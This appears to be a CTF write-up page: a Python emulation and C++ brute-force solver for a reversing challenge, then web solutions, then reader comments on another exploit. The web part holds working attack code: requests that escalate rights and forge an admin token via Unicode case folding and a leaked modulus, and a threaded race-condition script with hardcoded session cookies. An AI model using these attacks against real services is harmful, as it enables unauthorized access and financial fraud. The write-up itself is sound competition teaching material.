code = '#0#:#4#8#N#<#L#J#D#@#B#F#2#>#H#6!CBKMNLHOIAJ@DFGE?8:67=<>93;1452-4-:-8-2-F-6-B-L-H-J->-<-D-@-ND&-D-E@&-@-AB&-B-CF&-F-GN&-N-O:&-:-;L&-L-M<&-<-=0&-0-1>&->-?6&-6-72&-2-34&-4-58&-8-9J&-J-KH&-H-I!8:5>;=91?072634<CEM@IBJKLAGNFDH-A-9-=-M-?-3-I-G-E-5-C-1-K-;-77&-7-6G&-G-FI&-I-HC&-C-BK&-K-JA&-A-@O&-O-N1&-1-0M&-M-L=&-=-<5&-5-49&-9-83&-3-2E&-E-D;&-;-:?&-?->!L7>-L->-76<H?N3-6-3-N-?-H-<K9B-K-B-9=J;FCI-=-I-C-F-;-J8@O124-8-4-2-1-O-@M5:DGA-M-A-G-D-:-5A@&-@-AIH&-H-I98&-8-9GF&-F-G;:&-:-;76&-6-7ON&-N-OKJ&-J-K54&-4-5ML&-L-M32&-2-3ED&-D-E10&-0-1?>&->-?=<&-<-=CB&-B-C!C7@1LI-C-I-L-1-@-74F=-4-=-FKG?0NM-K-M-N-0-?-GHA3-H-3-A5D9<6B-5-B-6-<-9-DJE;8>2-J-2->-8-;-EFG&-G-FNO&-O-NBC&-C-BDE&-E-D@A&-A-@67&-7-689&-9-8<=&-=-<JK&-K-J01&-1-0HI&-I-H45&-5-423&-3-2LM&-M-L>?&-?->:;&-;-:!JKFEH@IMCGANLDOB<9;5>728:=463?1-2-N-6-<-8-J-D-@-4->-L-:-F-B-HJ&-J-K0&-0-1F&-F-G6&-6-72&-2-3L&-L-M@&-@-AH&-H-I4&-4-5<&-<-=N&-N-O>&->-?D&-D-EB&-B-C8&-8-9:&-:-;!862:>1?3;=<47950JMFHENDC@ILABKG-?-G-5-3-I-C-1-7-9-M-;-A-=-K-EO&-O-NE&-E-D=&-=-<A&-A-@G&-G-F7&-7-65&-5-49&-9-8I&-I-H1&-1-0M&-M-L3&-3-2;&-;-:K&-K-JC&-C-B?&-?->!L7>-L->-7I=J;FC-I-C-F-;-J-=9BK-9-K-B5:DGAM-5-M-A-G-D-:1248@O-1-O-@-8-4-236<H?N-3-N-?-H-<-610&-0-154&-4-5?>&->-?ON&-N-OGF&-F-GA@&-@-A32&-2-3ED&-D-E;:&-:-;CB&-B-CIH&-H-IKJ&-J-KML&-L-M=<&-<-=98&-8-976&-6-7!<6B5D9-<-9-D-5-B-6HA3-H-3-A4F=-4-=-F7@1LIC-7-C-I-L-1-@G?0NMK-G-K-M-N-0-?>2JE;8->-8-;-E-J-2HI&-I-HJK&-K-J01&-1-0<=&-=-<LM&-M-LFG&-G-F67&-7-645&-5-4@A&-A-@>?&-?->89&-9-8DE&-E-DBC&-C-BNO&-O-N23&-3-2:;&-;-:#2#B#F#4#0#8#>#D#@#H#L#N#:#J#6#<!'
pwd = iter([5,ord('X'),0,0,0,0,0,0,ord('W')])
secret=list(map(lambda x:int(x,16),'0E 8D 8E 0E 67 4E E5 E5 8E EE 2E 8D 8C AE 45 CE 6D EC A5 ED EE 8B 4E AE 0E 0E 8C AD 64 0E 86 67'.split(' ')))
usecret=list(range(48,80))
assert len(usecret)==32
pwd_bytes=[0]*4
def proc_pwd_byte(pwd_byte):
four_byte_table=[1,2,3,0]
pwd_bytes[0] = four_byte_table[pwd_byte & 3]
four_byte_table = four_byte_table[:pwd_byte & 3] + four_byte_table[(pwd_byte & 3)+1:]
t=(pwd_byte>>2)%3
pwd_bytes[1] = four_byte_table[t]
four_byte_table = four_byte_table[:t] + four_byte_table[t+1:]
t=(pwd_byte//12)%2
pwd_bytes[2] = four_byte_table[t]
four_byte_table = four_byte_table[:t] + four_byte_table[t+1:]
pwd_bytes[3] = four_byte_table[0]
pc=0
def get():
global pc
r=code[pc]
pc+=1
return ord(r)
stack=[]
def pop():
global stack
r=stack[-1]
stack=stack[:-1]
return r
def ror(x,y):
a=secret[x+1]*256+secret[x]
a=(a>>y)|((a&((1<<y)-1))<<(16-y))
secret[x+1]=a>>8
secret[x]=a&255
def rol(x,y):
return (x<<y&255)|(x>>(8-y))
def push(x):
stack.append(x)
def speco(a):
b=a>>8
a=a&0xff
for i in range(8):
y = b&1
x = a&1
v7 = pwd_bytes[y*2+x]>>1
v6 = pwd_bytes[y*2+x]&1
b = rol(v7|(b&0xfe), 1)
a = rol(v6|(a&0xfe), 1)
return a<<8|b
def spec():
a=pop()
b=pop()
t=speco(b<<8|a)
b=t>>8
a=t&255
push(b)
push(a)
def cpu():
cur=next(pwd)
proc_pwd_byte(cur)
while True:
op=get()
if op==0x26:
spec()
elif op==0x21: # !
break
elif op==0x2d: # -
secret[get()-0x30]=pop()&255
elif op==0x23: # #
fr = get() - 0x30
ror(fr,cur&7)
else:
assert op <= 0x30 + 0x2B
push(secret[op-0x30])
pass
cpu()
print(''.join(map(chr,usecret)))
secret=usecret
for i in range(8):
cpu()
s=''
for i in range(16):
s+='%02x'%secret[i]
print(s)
s=''
for i in range(16,32):
s+='%02x'%secret[i]
print(s)
Each digit of the key is used twice, once be modulo 24, once be modulo 8. So there are only $24^6=191102976$ different keys.
We can just enumerate the key and solve the equation.
#include<bits/stdc++.h>
typedef unsigned int uint;
typedef long long ll;
typedef unsigned long long ull;
typedef double lf;
typedef long double llf;
typedef std::pair<int,int> pii;
#define xx first
#define yy second
template<typename T> inline T max(T a,T b){return a>b?a:b;}
template<typename T> inline T min(T a,T b){return a<b?a:b;}
template<typename T> inline T abs(T a){return a>0?a:-a;}
template<typename T> inline bool repr(T &a,T b){return a<b?a=b,1:0;}
template<typename T> inline bool repl(T &a,T b){return a>b?a=b,1:0;}
template<typename T> inline T gcd(T a,T b){T t;if(a<b){while(a){t=a;a=b%a;b=t;}return b;}else{while(b){t=b;b=a%b;a=t;}return a;}}
template<typename T> inline T sqr(T x){return x*x;}
#define mp(a,b) std::make_pair(a,b)
#define pb push_back
#define I __attribute__((always_inline))inline
#define mset(a,b) memset(a,b,sizeof(a))
#define mcpy(a,b) memcpy(a,b,sizeof(a))
#define fo0(i,n) for(int i=0,i##end=n;i<i##end;i++)
#define fo1(i,n) for(int i=1,i##end=n;i<=i##end;i++)
#define fo(i,a,b) for(int i=a,i##end=b;i<=i##end;i++)
#define fd0(i,n) for(int i=(n)-1;~i;i--)
#define fd1(i,n) for(int i=n;i;i--)
#define fd(i,a,b) for(int i=a,i##end=b;i>=i##end;i--)
#define foe(i,x)for(__typeof((x).end())i=(x).begin();i!=(x).end();++i)
#define fre(i,x)for(__typeof((x).rend())i=(x).rbegin();i!=(x).rend();++i)
struct Cg{I char operator()(){return getchar();}};
struct Cp{I void operator()(char x){putchar(x);}};
#define OP operator
#define RT return *this;
#define UC unsigned char
#define RX x=0;UC t=P();while((t<'0'||t>'9')&&t!='-')t=P();bool f=0;\
if(t=='-')t=P(),f=1;x=t-'0';for(t=P();t>='0'&&t<='9';t=P())x=x*10+t-'0'
#define RL if(t=='.'){lf u=0.1;for(t=P();t>='0'&&t<='9';t=P(),u*=0.1)x+=u*(t-'0');}if(f)x=-x
#define RU x=0;UC t=P();while(t<'0'||t>'9')t=P();x=t-'0';for(t=P();t>='0'&&t<='9';t=P())x=x*10+t-'0'
#define TR *this,x;return x;
I bool IS(char x){return x==10||x==13||x==' ';}template<typename T>struct Fr{T P;I Fr&OP,(int&x)
{RX;if(f)x=-x;RT}I OP int(){int x;TR}I Fr&OP,(ll &x){RX;if(f)x=-x;RT}I OP ll(){ll x;TR}I Fr&OP,(char&x)
{for(x=P();IS(x);x=P());RT}I OP char(){char x;TR}I Fr&OP,(char*x){char t=P();for(;IS(t);t=P());if(~t){for(;!IS
(t)&&~t;t=P())*x++=t;}*x++=0;RT}I Fr&OP,(lf&x){RX;RL;RT}I OP lf(){lf x;TR}I Fr&OP,(llf&x){RX;RL;RT}I OP llf()
{llf x;TR}I Fr&OP,(uint&x){RU;RT}I OP uint(){uint x;TR}I Fr&OP,(ull&x){RU;RT}I OP ull(){ull x;TR}};Fr<Cg>in;
#define WI(S) if(x){if(x<0)P('-'),x=-x;UC s[S],c=0;while(x)s[c++]=x%10+'0',x/=10;while(c--)P(s[c]);}else P('0')
#define WL if(y){lf t=0.5;for(int i=y;i--;)t*=0.1;if(x>=0)x+=t;else x-=t,P('-');*this,(ll)(abs(x));P('.');if(x<0)\
x=-x;while(y--){x*=10;x-=floor(x*0.1)*10;P(((int)x)%10+'0');}}else if(x>=0)*this,(ll)(x+0.5);else *this,(ll)(x-0.5);
#define WU(S) if(x){UC s[S],c=0;while(x)s[c++]=x%10+'0',x/=10;while(c--)P(s[c]);}else P('0')
template<typename T>struct Fw{T P;I Fw&OP,(int x){WI(10);RT}I Fw&OP()(int x){WI(10);RT}I Fw&OP,(uint x){WU(10);RT}
I Fw&OP()(uint x){WU(10);RT}I Fw&OP,(ll x){WI(19);RT}I Fw&OP()(ll x){WI(19);RT}I Fw&OP,(ull x){WU(20);RT}I Fw&OP()
(ull x){WU(20);RT}I Fw&OP,(char x){P(x);RT}I Fw&OP()(char x){P(x);RT}I Fw&OP,(const char*x){while(*x)P(*x++);RT}
I Fw&OP()(const char*x){while(*x)P(*x++);RT}I Fw&OP()(lf x,int y){WL;RT}I Fw&OP()(llf x,int y){WL;RT}};Fw<Cp>out;
const char code[]="#0#:#4#8#N#<#L#J#D#@#B#F#2#>#H#6!CBKMNLHOIAJ@DFGE?8:67=<>93;1452-4-:-8-2-F-6-B-L-H-J->-<-D-@-ND&-D-E@&-@-AB&-B-CF&-F-GN&-N-O:&-:-;L&-L-M<&-<-=0&-0-1>&->-?6&-6-72&-2-34&-4-58&-8-9J&-J-KH&-H-I!8:5>;=91?072634<CEM@IBJKLAGNFDH-A-9-=-M-?-3-I-G-E-5-C-1-K-;-77&-7-6G&-G-FI&-I-HC&-C-BK&-K-JA&-A-@O&-O-N1&-1-0M&-M-L=&-=-<5&-5-49&-9-83&-3-2E&-E-D;&-;-:?&-?->!L7>-L->-76<H?N3-6-3-N-?-H-<K9B-K-B-9=J;FCI-=-I-C-F-;-J8@O124-8-4-2-1-O-@M5:DGA-M-A-G-D-:-5A@&-@-AIH&-H-I98&-8-9GF&-F-G;:&-:-;76&-6-7ON&-N-OKJ&-J-K54&-4-5ML&-L-M32&-2-3ED&-D-E10&-0-1?>&->-?=<&-<-=CB&-B-C!C7@1LI-C-I-L-1-@-74F=-4-=-FKG?0NM-K-M-N-0-?-GHA3-H-3-A5D9<6B-5-B-6-<-9-DJE;8>2-J-2->-8-;-EFG&-G-FNO&-O-NBC&-C-BDE&-E-D@A&-A-@67&-7-689&-9-8<=&-=-<JK&-K-J01&-1-0HI&-I-H45&-5-423&-3-2LM&-M-L>?&-?->:;&-;-:!JKFEH@IMCGANLDOB<9;5>728:=463?1-2-N-6-<-8-J-D-@-4->-L-:-F-B-HJ&-J-K0&-0-1F&-F-G6&-6-72&-2-3L&-L-M@&-@-AH&-H-I4&-4-5<&-<-=N&-N-O>&->-?D&-D-EB&-B-C8&-8-9:&-:-;!862:>1?3;=<47950JMFHENDC@ILABKG-?-G-5-3-I-C-1-7-9-M-;-A-=-K-EO&-O-NE&-E-D=&-=-<A&-A-@G&-G-F7&-7-65&-5-49&-9-8I&-I-H1&-1-0M&-M-L3&-3-2;&-;-:K&-K-JC&-C-B?&-?->!L7>-L->-7I=J;FC-I-C-F-;-J-=9BK-9-K-B5:DGAM-5-M-A-G-D-:1248@O-1-O-@-8-4-236<H?N-3-N-?-H-<-610&-0-154&-4-5?>&->-?ON&-N-OGF&-F-GA@&-@-A32&-2-3ED&-D-E;:&-:-;CB&-B-CIH&-H-IKJ&-J-KML&-L-M=<&-<-=98&-8-976&-6-7!<6B5D9-<-9-D-5-B-6HA3-H-3-A4F=-4-=-F7@1LIC-7-C-I-L-1-@G?0NMK-G-K-M-N-0-?>2JE;8->-8-;-E-J-2HI&-I-HJK&-K-J01&-1-0<=&-=-<LM&-M-LFG&-G-F67&-7-645&-5-4@A&-A-@>?&-?->89&-9-8DE&-E-DBC&-C-BNO&-O-N23&-3-2:;&-;-:#2#B#F#4#0#8#>#D#@#H#L#N#:#J#6#<!";
const int req[32]={139, 164, 9, 150, 8, 129, 251, 171, 103, 110, 126, 74, 71, 68, 119, 112, 179, 101, 213, 124, 24, 97, 105, 40, 107, 47, 6, 77, 11, 67, 75, 246};
const int SG=32*8;
typedef std::bitset<32*8+1>bit;
int to_int(bit*s)
{
int t=0;
fo0(j,8)
{
t+=(int)s[j][SG]<<j;
}
return t;
}
void proc_pwd_byte(int x,int*o)
{
int t[4]={1,2,3,0};
fd1(i,4)
{
int y=x%i;
x/=i;
o[4-i]=t[y];
fo(j,y,i-2)t[j]=t[j+1];
}
}
int pb[24][4],rc[2][2][2][2][2];
bool plx[24],ply[24],plz[24];
bool phx[24],phy[24],phz[24];
void speco(bit*s,int pwd)
{
//low to high
bit ta,tb;
fo0(i,8)
{
ta.reset(),tb.reset();
//out,plx[pwd],' ',ply[pwd],' ',plz[pwd],'\n';
if(plx[pwd])ta^=s[i];
if(ply[pwd])ta^=s[i+8];
if(plz[pwd])ta[SG].flip();
if(phx[pwd])tb^=s[i];
if(phy[pwd])tb^=s[i+8];
if(phz[pwd])tb[SG].flip();
//out,(int)s[i][SG],' ',(int)s[i+8][SG],' ',(int)ta[SG],' ',(int)tb[SG],'\n';
s[i]=tb;
s[i+8]=ta;
}
}
void push(bit*stack,bit*s,int&sc)
{
fo0(i,8)stack[sc+i]=s[i];
sc+=8;
}
void pop(bit*stack,bit*s,int&sc)
{
sc-=8;
fo0(i,8)s[i]=stack[sc+i];
}
void spec(bit*stack,int&sc,int pwd)
{
//exit(233);
bit tmp[16];
pop(stack,tmp,sc);
pop(stack,tmp+8,sc);
//out,to_int(tmp),' ',to_int(tmp+8),'\n';
speco(tmp,pwd);
push(stack,tmp+8,sc);
push(stack,tmp,sc);
//out,to_int(tmp),' ',to_int(tmp+8),'\n';
}
int get(int&pc)
{
return code[pc++];
}
void ror(bit*secret,int x,int y)
{
bit tmp[16];
fo0(i,y)tmp[i]=secret[x*8+i];
fo0(i,16-y)secret[x*8+i]=secret[x*8+i+y];
fo0(i,y)secret[x*8+i+16-y]=tmp[i];
}
void cpu(bit*secret,int&pc,int pwd)
{
bit stack[248];
int sc=0;
pwd%=24;
while(1)
{
int op=get(pc);
if(op==0x26)spec(stack,sc,pwd);
else if(op==0x21)break;
else if(op==0x2d)pop(stack,secret+(get(pc)-0x30)*8,sc);
else if(op==0x23)ror(secret,get(pc)-0x30,pwd&7);
else push(stack,secret+(op-0x30)*8,sc);
//out,op,' ',stack.size()/8,'\n';
//print_str();
//if(op==0x26)exit(233);
}
}
int succ=0;
void work(int k1,int k2,int k3,int k4,int k5,int k6)
{
int pc=33;
bit s[32*8];
fo0(i,32)
{
fo0(j,8)
{
s[i*8+j].reset();
s[i*8+j][i*8+j]=1;
}
}
cpu(s,pc,'X');
cpu(s,pc,k1);
cpu(s,pc,k2);
cpu(s,pc,k3);
cpu(s,pc,k4);
cpu(s,pc,k5);
cpu(s,pc,k6);
cpu(s,pc,'W');
fo0(i,32)
{
fo0(j,8)
{
if(req[i]>>j&1)s[i*8+j][SG].flip();
}
}
const int n=256;
fo0(i,n)
{
int t=i;
while(t<n&&!s[t][i])t++;
if(t!=i)std::swap(s[t],s[i]);
assert(s[i][i]);
fo0(j,n)if(j!=i&&s[j][i])s[j]^=s[i];
}
unsigned char res[32];
mset(res,0);
fo0(i,n)res[i>>3]|=int(s[i][SG])<<(i&7);
//fo0(i,32)out,res[i],',';out,'\n';
bool flag=1;
fo0(i,32)flag&=res[i]>=32&&res[i]<=127;
if(flag)
{
//out,"ok\n";
fprintf(stderr,"%s\n",res);
}
succ++;
if(succ%10000==0)out,succ,'\n';
}
int main()
{
fo0(i,24)proc_pwd_byte(i,pb[i]);
fo0(x,2)fo0(y,2)fo0(z,2)fo0(i,2)fo0(j,2)
{
rc[x][y][z][i][j]=x*i^y*j^z;
}
fo0(i,24)
{
//out,i,':';fo0(j,4)out,pb[i][j],' ';out,'\n';
bool ok=0;
fo0(x,2)fo0(y,2)fo0(z,2)
{
bool flag=1;
fo0(j,2)fo0(k,2)if(rc[x][y][z][j][k]!=(pb[i][j+k*2]&1))flag=0;
//fo0(j,2)fo0(k,2)out,x,' ',y,' ',z,' ',j,' ',k,' ',rc[x][y][z][j][k],' ',pb[i][j*2+k]&1,'\n';
if(flag)
{
plx[i]=x,ply[i]=y,plz[i]=z;
ok=1;break;
}
}
assert(ok);
ok=0;
fo0(x,2)fo0(y,2)fo0(z,2)
{
bool flag=1;
fo0(j,2)fo0(k,2)if(rc[x][y][z][j][k]!=(pb[i][j+k*2]>>1))flag=0;
if(flag)
{
phx[i]=x,phy[i]=y,phz[i]=z;
ok=1;break;
}
}
assert(ok);
//out,plx[i],' ',ply[i],' ',plz[i],'\n';
//out,phx[i],' ',phy[i],' ',phz[i],'\n';
}
for(uint i=0;i<191102976;i++)
{
int t=i;
int a=t%26;t/=26;
int b=t%26;t/=26;
int c=t%26;t/=26;
int d=t%26;t/=26;
int e=t%26;t/=26;
int f=t;
work(a,b,c,d,e,f);
}
}
After add openmp
to this program, it find lots of strings which like shuffled flag. I manually extract the real flag from it.
Web
Draw with us
First, by fuzzing, I found that hacKtm
(K is chr(8490)) can beat the toLowerCase
and toUpperCase
.
After register with this, we can update our rights with [["n"]]
. Then the serverInfo
will leak $n$.
Then post init
with $p=1,q=n$, we got the admin token. Just use this token to view /flag
.
>>> print(requests.post('http://167.172.165.153:60001/updateUser',json={'color':'1','rights':[['n']]},headers={'Authorization':'...(omitted)'}).text)
{"status":"ok","data":{"user":{"username":"hacKtm","id":"c9a76173-8467-4207-99cd-e239a2b93b8b","color":1,"rights":["message","height","width","version","usersOnline","adminUsername","backgroundColor",["n"]]}}}
>>> print(requests.get('http://167.172.165.153:60001/serverInfo',headers={'Authorization':'...'}).text)
{"status":"ok","data":{"info":[{"name":"message","value":"Hello there!"},{"name":"height","value":80},{"name":"width","value":120},{"name":"version","value":5e-324},{"name":"usersOnline","value":155},{"name":"adminUsername","value":"hacktm"},{"name":"backgroundColor","value":8947848},{"name":["n"],"value":"54522055008424167489770171911371662849682639259766156337663049265694900400480408321973025639953930098928289957927653145186005490909474465708278368644555755759954980218598855330685396871675591372993059160202535839483866574203166175550802240701281743391938776325400114851893042788271007233783815911979"}]}}
>>> requests.post('http://167.172.165.153:60001/init',json={'p':'1','q':'54522055008424167489770171911371662849682639259766156337663049265694900400480408321973025639953930098928289957927653145186005490909474465708278368644555755759954980218598855330685396871675591372993059160202535839483866574203166175550802240701281743391938776325400114851893042788271007233783815911979'}).text
'{"status":"ok","data":{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MCwiaWF0IjoxNTgwNTczMDAxfQ.esUKUwyiWQ-eZJHGqXKTjXalVfQTp2dPz237tnF-ZvY"}}'
My Bank
Use many threads to loan money at the same time. Then it will be race condition. Then just buy the flag.
import requests,threading,time
r=requests.post('http://178.128.175.6:50090/register',data={'csrf_token':'IjczZjg0NDM2NmU3NjVhZjgyZmNlZmNkZDFlNWJlOTYxMTVmZjcyMzci.XjdnLQ.-fiohAVQha1Nn-OjrhWRg8Yd84g','username':'testx'},headers={'cookie':'session=eyJjc3JmX3Rva2VuIjoiNzNmODQ0MzY2ZTc2NWFmODJmY2VmY2RkMWU1YmU5NjExNWZmNzIzNyJ9.XjdUZg.KqdE__xzueJrl1VUwZ_-vgc5980'})
sess=r.cookies['session']
print(sess)
def work():
r=requests.post('http://178.128.175.6:50090/',data={'csrf_token':'IjczZjg0NDM2NmU3NjVhZjgyZmNlZmNkZDFlNWJlOTYxMTVmZjcyMzci.XjdnLQ.-fiohAVQha1Nn-OjrhWRg8Yd84g','loan':'10'},headers={'cookie':'session='+sess})
t=0
while True:
threading.Thread(target=work).start()
t+=1
if t%20==0:
time.sleep(0.01)
time.sleep(3)
Hi there, I have read baby_bear writeup, but I can't understand somethings on your exploit code:
1. def u(x,y):
return x-y*2.5
You use u(x,y) to calculate for the order of the heap, what is the base of that ?
2. def bitxor(s,x):
xt=x>>3
return s[:xt]+bytes([s[xt]^(1
Hi there, I have read baby_bear writeup, but I can't understand somethings on your exploit code:
1. def u(x,y):
return x-y*2.5
You use u(x,y) to calculate for the order of the heap, what is the base of that ?
2. def bitxor(s,x):
xt=x>>3
return s[:xt]+bytes([s[xt]^(1
In u(x,y), x is current length of input diff, y is current length of matched result, and u(x,y) gives a resonable score of them - to make the result match as much as possible.
Hi there, I have read baby_bear writeup, but I can't understand somethings on your exploit code:
1.You use u(x,y) to calculate for the order of the heap, what is the base of that ?
2.How could you use bitxor to find next bytes? (algorithms or somethings else?)
Thanks for your help!
Sorry for those previous noised cmt.
2. Since we can find these matched results, such bfs(or maybe A*) algorithm will lead to a low score situation, that means y is very large, and that's what we need for the answer.
I didn't know A* algo, check it rn! Thank you so much!
orz mcfx god
sto driver